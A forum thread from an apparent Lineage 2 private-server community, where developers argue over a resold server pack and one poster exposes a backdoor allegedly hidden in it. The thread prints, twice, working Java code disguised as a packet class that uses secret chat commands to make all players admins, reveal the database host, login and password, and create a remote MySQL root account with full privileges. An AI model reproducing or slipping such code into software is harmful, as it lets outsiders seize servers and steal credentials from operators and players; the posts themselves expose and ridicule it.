Jump to content

Recommended Posts

Posted

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

Posted

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

 

 

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

Posted

He cant even obfuscate the backdoors. Wow next level stupid.

 

sad to people who bought this sh1t to many things are not working lot of problems on pack 0 protections like he said so he Seling something yours with shared things gj to developski NightWolfski

Posted

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

Posted

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

 

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

Posted

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

It's the funniest crap I've ever seen :lol:

  • 4 weeks later...
  • 1 month later...
Posted

So today i bring you a new update on L2jxtend.

 

Rev 26:

  • Added Universal BBS system for general use.
  • Added .inspect feature.
  • Added .changepass feature.

 

Soon more things to be added.

 

Download link: https://mega.co.nz/#!LwtGGCaI!D-kC7j67kzbAdkaNSxaZxUUSxxeLHEjXbEZGDS5BcLw

Posted (edited)
    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

Edited by SweeTs
Posted
    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

 

Yeah i changed that one commit after this version for try with resources.

  • 4 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




  • Posts

    • This version (1.34) includes all the fixes from above + more, with the exclusion of Premium Account System. The Premium Account System was added in 1.35, which is currently only available through the Chronicle Coders Discord.   Appreciate those of you reporting issues and providing suggestions. Download EmuDevsIL 1.34
    • Vesper Robe set clean 35e Vesper wep 300 atri (no acumen) 95e Blessed Zaken Earring - 80e Freya necklase - 50e Adena 500kk-20e   add me in discord for pm/offers  narttu123  
    • Recently, I took on a project for a company. The people there – polite, trusting (or in other words, completely unsuspecting) – told me the job had to be delivered within 3 weeks. I agreed, naturally – with my signature professional attitude, something like “yeah, sure, it’ll get done, don’t worry!” Now, deep down, I knew full well that in 3 weeks, I’d be lucky to have written the title of the project. But I decided to play it cool. Why? Well, because I was in full anti-professional mode, and I was already planning the excuses I’d use when the time came: – “Guys, I caught covid…” – “Something tragic happened in my family…” – “A team member quit and everything fell on me…” You know, classic Balkan drama. Why should only others use them?   So, 3 weeks go by. I’ve managed to do about 40% of the work (which I personally consider a small miracle), and the people in charge come to me and say: – “Since you didn’t deliver on time, we’d like the €450 advance payment back.”   And I, with Oscar-level seriousness, respond: – “I’m sorry, but I’ve already completed 40% of the work. I can’t return the money.”   They looked at me, smiled, and said the unforgettable line: “It’s not your fault… we’re the idiots for trusting you.”   And at that moment, I didn’t feel offended. I didn’t feel guilty. I felt… validated. Not professionally. But Balkan-style.   Conclusion: Consistency, professional responsibility, and respect for agreements... are fundamental values. Nowadays? Rare. Like an uncut diamond... that someone tossed in the trash because they thought it was just a weird-looking rock. Sure, you can fool people once, twice, maybe even three times… and get away with it. But eventually, even the most well-meaning fool out there… will wake up. And when they do, they'll replace you with someone else. Someone more reliable. More professional. Or at least… someone who’s better at coming up with excuses. 😏
    • DISCORD : utchiha_market telegram : https://t.me/utchiha_market SELLIX STORE : https://utchihamkt.mysellix.io/ Join our server for more products : https://discord.gg/hoodservices https://campsite.bio/utchihaamkt
  • Topics

×
×
  • Create New...